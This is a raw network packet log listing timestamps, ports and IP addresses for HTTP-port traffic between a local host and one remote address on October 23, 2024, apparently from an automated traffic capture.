Oct 23, 2024 17:51:26.672475100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672492981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672501087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672537088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672549009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672580957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672653913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672665119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672676086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672688007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672700882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672729969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673032045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673089981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673101902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673115969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673129082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673139095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673221111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673233032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673243999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673264980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673273087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673276901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673288107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673297882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673300028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673314095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673321962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673326015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673338890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673348904 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673352957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673357010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673367023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673378944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.673388958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.673413038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.789156914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.789181948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.789205074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.789216995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.789228916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.789242029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.789243937 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.789253950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.789268017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.789275885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.789309978 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.789323092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840367079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840394974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840404987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840415955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840450048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840485096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840501070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840514898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840526104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840559959 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840605974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840656042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840676069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840687990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840699911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840728998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840756893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840831041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840853930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840866089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840878010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840889931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840909958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840910912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840923071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840924025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840940952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840961933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840972900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.840981007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.840986013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841012955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841022968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841047049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841126919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841165066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841257095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841269970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841284990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841298103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841305971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841312885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841346025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841641903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841654062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841667891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841697931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841723919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841731071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841737986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841744900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841758013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841768980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841770887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841782093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841795921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.841797113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.841835022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842242956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842281103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842431068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842443943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842456102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842467070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842479944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842492104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842492104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842504978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842519045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842519999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842530966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842534065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842545033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842556953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842560053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842570066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842585087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842611074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842617989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842628002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842641115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842652082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842664003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842674971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842675924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842690945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842703104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842703104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842719078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842739105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842740059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842753887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842792034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842895985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842911959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842937946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842948914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842948914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842962980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842974901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842984915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.842993021 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.842998028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.843010902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.843015909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.843023062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.843035936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.843039989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.843072891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.906747103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906805038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906819105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906831026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906851053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906862974 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.906864882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906878948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906893969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906898975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.906907082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906919956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.906920910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.906932116 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.906961918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.957839966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.957865953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.957921028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958019972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958031893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958046913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958058119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958070040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958080053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958093882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958168983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958183050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958194971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958215952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958237886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958246946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958268881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958307981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958339930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958467960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958486080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958498001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958509922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958513021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958527088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958539009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958540916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958554029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958559990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958564997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958596945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958601952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958610058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958623886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958635092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958636999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958662987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958705902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958745956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958822966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958833933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958844900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958857059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958870888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958894968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958910942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958924055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958935976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958949089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.958961010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.958993912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.959036112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959048033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959060907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959073067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959079027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.959105968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.959650993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959692001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959702969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959736109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.959762096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959774017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959794044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959801912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.959813118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959825993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959831953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.959851027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959862947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959876060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959888935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959889889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.959903002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.959914923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.959927082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960005045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960073948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960117102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960247040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960303068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960315943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960342884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960352898 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960506916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960527897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960539103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960551023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960561991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960573912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960577011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960587025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960601091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960607052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960614920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960628033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960629940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960642099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960645914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960654974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960669994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960673094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960694075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960812092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960824966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960836887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960850954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960867882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960872889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960887909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960900068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960911989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960925102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960936069 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960936069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960952044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960962057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.960968018 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960983038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.960999966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.024394035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024451971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024475098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024487972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024513006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.024540901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.024602890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024616003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024626970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024640083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024648905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.024652004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024665117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.024674892 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.024692059 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.075467110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075577974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075589895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075602055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075623035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075634956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075642109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.075649977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075673103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075674057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.075684071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075695038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075706959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075711012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.075728893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.075846910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075897932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075910091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075926065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.075936079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075948954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075951099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.075963974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.075983047 CEST	80	49763	185.215.113.16	192.168.2.6
